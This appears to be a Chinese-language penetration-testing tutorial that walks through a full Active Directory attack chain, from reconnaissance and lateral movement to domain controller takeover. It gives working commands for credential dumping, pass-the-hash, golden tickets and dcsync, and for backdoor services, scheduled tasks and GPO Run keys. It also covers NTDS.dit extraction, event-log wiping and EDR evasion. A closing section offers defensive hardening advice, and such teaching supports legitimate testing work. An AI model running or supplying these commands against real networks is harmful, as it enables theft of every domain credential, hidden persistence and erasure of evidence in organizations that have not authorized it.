域渗透实战:从信息收集到域控攻防的完整攻击路径解析 1. 项目概述从“域”说起为什么它如此关键如果你在甲方做安全运维或者在乙方做渗透测试那么“域”这个概念你一定绕不开。它绝不仅仅是一个简单的网络管理工具而是一个企业内网安全架构的基石也是攻击者梦寐以求的“皇冠上的明珠”。今天我们不谈那些浮于表面的扫描和漏洞利用就深入聊聊“域渗透”这个核心命题。这篇文章的目标很明确为你梳理出一条从外部到内部从普通权限到域控权限的清晰、可复现的攻击路径并附上我踩过的坑和总结的经验。无论你是想加固自己的网络还是想深入理解攻击者的思维这篇文章都值得你花时间细读。简单来说域渗透的目标就是获取“域控制器”的最高权限。一旦拿下域控就意味着你掌握了整个域内所有用户、计算机、组策略的“生杀大权”。攻击者可以任意创建后门账户、窃取所有用户的密码哈希、部署恶意策略甚至将攻击触角延伸到信任的其他域。因此理解域渗透本质上就是理解现代企业内网的核心安全模型是如何被层层瓦解的。2. 内网渗透测试的基石信息收集与定位在发起任何实质性的攻击之前详尽且精准的信息收集是成功的一半。域环境下的信息收集远不止于扫描几个IP和端口它更像是一次针对整个网络“社会关系”和“权力结构”的摸底。2.1 初始立足点的信息榨取假设你已经通过某种方式比如钓鱼、Web漏洞拿到了一台内网主机的权限。这时你的第一个任务就是把这台主机“看透”。1. 网络环境侦察首先你需要知道自己身处何方。使用简单的命令就能获取关键信息# 查看IP地址、网关、DNS服务器DNS服务器很可能就是域控 ipconfig /all # 查看当前网络邻居NetBIOS信息 nbtstat -n # 查看ARP缓存了解与本机通信过的其他主机 arp -a注意ipconfig /all输出的DNS服务器地址至关重要。在标准的域环境中域控制器通常兼任DNS服务器。所以那个DNS服务器的IP有极大概率就是你的首要目标——域控制器。2. 主机角色判断这台机器是普通的员工电脑还是服务器是域成员吗# 查看系统信息关注“域”字段 systeminfo | findstr /B /C:Domain # 或者更直接地查看计算机名是否包含域后缀 echo %USERDOMAIN% # 查看当前用户权限是否为本地管理员 whoami /groups | findstr Administrators如果systeminfo显示“Domain: YOURCOMPANY.COM”那么恭喜你已经身处域环境。如果当前用户是本地管理员那么你的操作空间会大很多。3. 凭证与会话搜集内存中可能保存着其他用户的登录凭证或会话令牌这是横向移动的“弹药”。# 查看当前登录到本机的所有会话包括域用户 query user # 尝试使用Mimikatz等工具导出内存中的明文密码或哈希需管理员权限 # 这是高风险操作但在测试中至关重要。实操心得在真实的渗透测试中query user的结果常常能带来惊喜。你可能发现有域管理员用户曾经在这台机器上登录过并保持了断开连接的状态这意味着你可以尝试“劫持”这个会话无需密码即可获得其权限。2.2 域内信息枚举绘制攻击地图当你确认身处域内并且有一定的权限后就要开始主动探测域这座“城堡”的结构了。1. 基础域信息查询使用Windows自带的net命令系列这是最基础也是最不易触发告警的方式。# 查看域基本信息如域名、域控制器名 net view /domain # 查看指定域如YOURCOMPANY中的计算机列表 net view /domain:YOURCOMPANY # 查看域内所有的工作组和域老式网络 net group /domain # 查看域管理员组有哪些成员终极目标列表 net group Domain Admins /domain # 查看企业管理员组权限比域管理员更高通常存在于林根域 net group Enterprise Admins /domain2. 使用PowerShell进行深度枚举PowerShell提供了更强大、更灵活的信息收集能力。首先确保你的执行策略允许运行脚本。# 绕过执行策略临时 Set-ExecutionPolicy Bypass -Scope Process # 导入Active Directory模块需要RSAT工具或在域控上 Import-Module ActiveDirectory # 如果模块不可用可以使用.NET类进行查询 # 获取当前域对象 $domain [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $domain.Name # 域名 $domain.PdcRoleOwner # 主域控制器 # 枚举域内所有计算机 ([adsisearcher]objectCategorycomputer).FindAll() | ForEach-Object {$_.Properties.name} # 枚举域内所有用户 ([adsisearcher]objectCategoryuser).FindAll() | ForEach-Object {$_.Properties.samaccountname}3. 关键发现用户、组、信任关系与SPN仅仅知道有哪些机器和用户是不够的你需要理解他们之间的关系和属性。用户属性枚举关注那些“密码永不过期”、“上次设置密码时间在几年前”的用户账号这些往往是脆弱的突破口。也要关注“服务账号”它们通常有高权限。组嵌套关系搞清楚哪些普通组被嵌套在高权限组如Domain Admins里。攻击一个普通组的成员可能最终导致获得域管权限。域信任关系nltest /domain_trusts或PowerShell命令可以枚举域之间的信任关系。如果存在双向信任那么攻破一个子域可能意味着可以访问父域的资源。服务主体名称SPN扫描这是发现域内运行着哪些服务如MSSQL, HTTP, CIFS的关键。使用setspn -T domain -Q */*或工具如PowerView的Get-DomainSPNTicket。找到的SPN账户通常是服务账号是Kerberoasting攻击的绝佳目标。3. 横向移动在域内“漫游”的艺术拿到一台域成员机的权限后你的目标就是“以点破面”横向移动到更重要的机器上最终抵达域控制器。这里有几种经典且有效的战术。3.1 密码哈希的传递与利用这是最经典的横向移动方式。原理是在Windows网络中许多身份验证并不使用明文密码而是使用密码哈希NTLM Hash。如果你获取了某个用户的哈希就可以在不需要知道明文密码的情况下冒充该用户访问网络资源。1. 哈希传递攻击假设你从A机器上抓取到了域用户zhangsan的NTLM哈希HASH_zhangsan。现在你想用这个身份访问B机器。# 使用Mimikatz进行PtH sekurlsa::pth /user:zhangsan /domain:yourcompany.com /ntlm:HASH_zhangsan /run:cmd.exe # 执行后会弹出一个新的命令行窗口在这个窗口里访问B机器的共享使用的就是zhangsan的权限。 net use \\B机器IP\C$ /user:yourcompany.com\zhangsan # 或者使用Impacket套件中的psexec.py在Linux攻击机上 python3 psexec.py -hashes :HASH_zhangsan yourcompany.com/zhangsanB机器IP关键点这种攻击成功的前提是目标服务如SMB允许使用NTLM进行身份验证且目标账户在目标机器上有足够的权限如远程登录权限。域管理员账户的哈希几乎可以在所有域成员机上通行无阻。2. 票据传递攻击Kerberos协议是比NTLM更现代的认证方式。攻击者可以窃取或伪造Kerberos票据Ticket来通过验证。黄金票据如果你拿到了krbtgt账户的哈希这个账户是域Kerberos认证的根密钥存在于域控上你就可以为域内任何用户包括不存在的生成有效的票据从而访问任何服务。这是“域持久化”的终极后门之一。# 使用Mimikatz生成黄金票据 kerberos::golden /user:fakeadmin /domain:yourcompany.com /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ptt白银票据如果你知道某个服务如cifs/B机器.yourcompany.com的服务账号哈希你可以直接为该服务生成票据无需与域控交互。但权限仅限于该服务。注意事项票据攻击尤其是黄金票据是极高的风险操作会直接写入内存。在真实的测试中务必与客户明确授权范围并确保有完善的日志清理和恢复方案。3.2 利用共享与服务的弱配置域内机器之间通常存在大量的网络共享和远程服务配置不当就是敞开的门户。1. SMB共享与WinRMSMB共享扫描使用net view \\computername或工具如smbmap、crackmapexec来枚举目标机器的共享文件夹。寻找可写的共享上传后门或直接执行命令。WinRM/WMI利用如果目标机器开启了WinRM5985/tcp或允许WMI连接你可以使用evil-winrm或wmiexec.py进行远程命令执行前提是你有有效的凭证。# 使用crackmapexec进行SMB/WinRM爆破和命令执行 crackmapexec smb 192.168.1.0/24 -u userlist.txt -p passwordlist.txt crackmapexec winrm 192.168.1.10 -u zhangsan -p ‘Password123!’ -x ‘whoami’2. MS-RPC与DCOM这些是Windows系统间进行远程过程调用的协议。工具如dcomexec.py可以利用特定的DCOM组件如MMC20.Application在远程机器上执行命令同样需要凭证。3. 利用计划任务与服务如果你对一台机器有写权限如通过可写共享或某种漏洞可以通过创建计划任务或系统服务来执行恶意载荷。# 使用sc命令远程创建服务需管理员权限 sc \\目标IP create MyBackdoor binPath “C:\shell.exe” sc \\目标IP start MyBackdoor # 使用schtasks创建计划任务 schtasks /create /s 目标IP /u domain\admin /p password /tn Backdoor /tr “C:\shell.exe” /sc hourly /ru SYSTEM实操心得横向移动时优先选择“免安装”或“无文件”的方式如PsExec的内存执行、WMI的远程执行或者利用已有的计划任务。直接上传文件到磁盘容易被终端防护软件检测。crackmapexec是我最常用的瑞士军刀它集成了SMB、WinRM、MSSQL等多种协议的测试并能自动检查凭证的有效性和权限。4. 权限提升与域控攻克最后的堡垒横向移动可能让你获得了一些高价值主机的权限比如文件服务器、应用服务器甚至是一台域管理员的个人电脑。但最终目标还是那座堡垒——域控制器。4.1 从普通域用户到本地管理员很多时候你首先拿到的是一个普通域用户的权限。你需要先在这台机器上提升为本地管理员才能进行后续的哈希抓取等操作。1. 内核漏洞提权这是最直接的方法。使用systeminfo或winPEAS等脚本收集系统补丁信息寻找缺失的漏洞补丁然后使用对应的提权利用程序如PrintNightmare, CVE-2021-1675, CVE-2021-1732等。# 使用wesng快速检查缺失补丁 python3 wes.py systeminfo.txt -o vulns.csv2. 服务配置不当提权可写服务路径如果一个系统服务的二进制文件路径指向一个你可以写入的目录你可以替换该文件重启服务后即以SYSTEM权限运行。不安全的服务权限使用accesschk.exe或PowerUp.ps1脚本检查当前用户是否有修改或重启某个服务的权限。如果有可以将服务的binPath指向你的恶意程序。# 使用PowerUp.ps1 Import-Module .\PowerUp.ps1 Invoke-AllChecks3. 凭证滥用与令牌模拟如果机器上有其他管理员用户登录的会话可以使用Incognito或Mimikatz的token::elevate来窃取其令牌。检查本地的密码文件、配置文件、备份文件中是否硬编码了管理员密码。4.2 从本地管理员到域管理员成为一台域成员机的本地管理员后你离域管就更近了一步。1. 抓取内存中的域凭证这是成功率极高的方法。使用Mimikatz的sekurlsa::logonpasswords命令可以转储LSASS进程内存中所有登录会话的明文密码、哈希和票据。这里往往藏着域管理员密码的“宝藏”。privilege::debug # 提升权限 sekurlsa::logonpasswords full重要警告此操作会触及系统最核心的安全进程LSASS会被几乎所有EDR终端检测与响应产品重点监控。在真实环境中需要配合绕过技术或选择在EDR防护薄弱的时段操作。2. 分析本地存储的凭证Credential Manager查看Windows凭据管理器里是否保存了域凭证。浏览器密码使用工具如LaZagne或BrowserGhost提取Chrome、Edge等浏览器保存的密码用户可能在其中保存了管理后台的密码。配置文件与脚本仔细检查桌面、文档、源代码目录寻找包含密码的config.ini、.env、deploy.ps1等文件。3. 利用域内关系与ACL滥用这是更高级、更隐蔽的手法。Active Directory本身是一个复杂的权限体系ACL配置错误可能导致权限滥用。Kerberoasting如前所述攻击拥有SPN的服务账号破解其哈希以获得高权限账户密码。AS-REP Roasting攻击那些设置了“不需要预认证”的用户账户直接获取其哈希进行破解。基于资源的约束委派攻击如果一台机器账户被配置了到另一台机器的委派权限且你能控制该机器账户你就可以模拟任何用户访问那台机器的服务。这常发生在IIS服务器、SQL服务器等场景。ACL攻击使用BloodHound这类工具可以自动化分析域内复杂的权限关系图。它可能会揭示出“用户A对用户B有‘强制修改密码’权限”或者“计算机账户C对域对象有‘写入DACL’权限”这样的攻击路径。这些路径往往被管理员忽视却是绝佳的提权通道。# 使用SharpHound收集数据 .\SharpHound.exe -c All # 将生成的zip文件导入BloodHound客户端进行分析4.3 攻陷域控制器当你拥有了域管理员凭证密码或哈希后攻克域控制器就变成了一个“合法”的管理操作。1. 直接远程访问使用域管理员账户通过PsExec、WMI、WinRM等任何远程管理工具直接连接到域控制器执行命令。# 使用Impacket的smbexec python3 smbexec.py domain/administrator域控IP # 使用crackmapexec crackmapexec smb 域控IP -u administrator -H NTLM_HASH -x ‘whoami’2. 转储域控上的核心机密登上域控后你的首要任务不是搞破坏而是“收割”所有有价值的凭证为后续的持久化和深度渗透做准备。NTDS.dit文件这是Active Directory的数据库文件包含了所有域用户的密码哈希。位于C:\Windows\NTDS\NTDS.dit。你需要与SYSTEM注册表配置单元一起导出然后使用secretsdump.py之类的工具进行解析。# 在域控上使用卷影拷贝服务复制NTDS.dit ntdsutil “ac i ntds” “ifm” “create full C:\temp” q q # 或者使用Mimikatz直接从内存中的LSASS转储域哈希 lsadump::dcsync /domain:yourcompany.com /alldcsync命令是神器它模拟一个域控制器从另一个域控制器同步数据的行为直接请求域控提供指定用户的哈希无需接触磁盘文件。KRBTGT账户哈希这是生成黄金票据的钥匙。通过dcsync或转储NTDS.dit都可以获得。域控上的其他会话同样使用Mimikatz抓取登录在域控上的其他高价值用户的凭证。5. 后渗透与持久化如何“扎根”拿下域控不是终点如何不被发现地长期控制才是真正的挑战。5.1 常见的持久化技术1. 账户后门创建隐藏账户创建用户名末尾带$的账户如admin$这类账户在net user命令中默认不显示。但更高级的监控可以检测到。SID历史注入为一个普通账户添加域管理员的SID历史记录使其拥有域管权限。这可以通过dcsync或直接修改AD数据库实现。黄金票据/白银票据如前所述这是网络层面的持久化即使所有密码被修改只要krbtgt哈希不变票据依然有效。2. 启动项与计划任务在域控或关键服务器上部署计划任务定期从外网下载并执行载荷。可以使用域内普通的HTTP或SMB共享作为C2通道减少对外通信的异常。3. 组策略对象后门这是域层面最强大、最隐蔽的持久化方法之一。作为域管理员你可以修改或创建组策略对象在其中添加开机/关机脚本、计划任务或者修改注册表。这个策略会被应用到所有链接的计算机或用户上。# 通过PowerShell远程修改GPO需要GroupPolicy模块 Set-GPRegistryValue -Name “Default Domain Policy” -Key “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” -ValueName “Backdoor” -Value “C:\Windows\backdoor.exe” -Type String注意事项GPO修改会在域内同步有延迟但覆盖面极广。务必选择针对特定OU组织单元的GPO进行修改避免影响过大引起警觉。同时GPO文件本身\\domain.com\SYSVOL\...可能会被安全软件扫描。4. ACL后门在关键AD对象如域管理员组Domain Admins上为你的后门账户添加“完全控制”权限。这样即使你的账户从组中被移除你仍然可以修改该组把自己加回去。5.2 痕迹清理与防御规避1. 日志清理Windows事件日志清除安全日志、系统日志中与你操作相关的事件ID如4624登录、4625失败登录、4688进程创建、4662目录服务访问等。可以使用wevtutil命令或Mimikatz的event::clear功能。wevtutil cl Security wevtutil cl System警告清空整个日志文件是极其可疑的行为。更高级的做法是只删除特定事件ID的条目但这需要更复杂的操作通常借助第三方工具或脚本。其他日志包括IIS日志、防火墙日志、第三方安全软件日志等。需要根据具体环境定位和清理。2. 规避安全产品内存操作优先使用无文件落地的内存执行技术如PowerShell反射加载、.NET Assembly加载等。混淆与加密对使用的攻击载荷如Mimikatz、PowerShell脚本进行混淆、加密或自定义编译以绕过基于签名的检测。生活作息模拟C2通信的时间、频率尽量模拟正常用户的流量模式避免在非工作时间产生大量异常连接。使用合法工具尽可能使用操作系统自带的工具net,sc,schtasks,powershell或已被广泛安装的合法管理软件如PsExec的官方版本来执行操作这被称为“Living-off-the-Land”。6. 防御视角如何构建更坚固的域讲了这么多攻击手法最后我们必须换位思考从防御者角度看看如何加固。1. 强化身份认证强制使用强密码并启用密码复杂性策略。启用多因素认证尤其是对所有特权账户域管理员、企业管理员、服务器本地管理员。禁用NTLM认证强制使用Kerberos。如果无法完全禁用则严格限制NTLM的使用范围。定期修改KRBTGT账户密码建议每半年一次且修改两次以降低黄金票据攻击的影响窗口。2. 实施最小权限原则域管理员账户仅用于域管理操作日常办公使用普通账户。严格管理本地管理员权限避免域用户被添加到多台机器的本地管理员组。定期审计和清理服务账号的权限遵循“一个服务一个账户”原则并为其设置强密码。使用工具如BloodHound定期进行攻击路径分析发现并修复ACL配置错误、过度的组嵌套、危险的委派权限等。3. 加强监控与检测在域控、关键服务器和网络边界部署SIEM系统集中收集和分析日志。重点关注异常时间的登录行为如凌晨的域管登录。大量失败的登录尝试。PsExec、WMI、PowerShell的远程执行日志。LSASS进程的非法访问或内存转储行为。对NTDS.dit文件的异常访问。域管理员组成员变更、GPO的异常修改。部署EDR解决方案监控终端上的进程行为、网络连接和文件操作能够有效检测Mimikatz等攻击工具的运行。4. 网络分段与访问控制将域控制器放置在独立的、严格访问控制的网络段只开放必要的管理端口如RDP的3389端口应仅限于跳板机访问。限制域内计算机之间的不必要的横向通信如关闭不必要的SMB、RPC端口。域渗透是一个深度依赖对Active Directory理解和技术细节掌握的过程。攻击与防御始终在动态博弈。对于攻击方而言思路的清晰和工具的熟练同样重要对于防御方而言没有一劳永逸的银弹持续的加固、监控和响应才是关键。我个人的体会是每一次成功的渗透测试其价值不仅在于发现漏洞更在于通过攻击者的视角帮助客户看清其防御体系中那些逻辑上的薄弱点和违反“最小权限”原则的设计缺陷这才是安全建设真正需要发力的地方。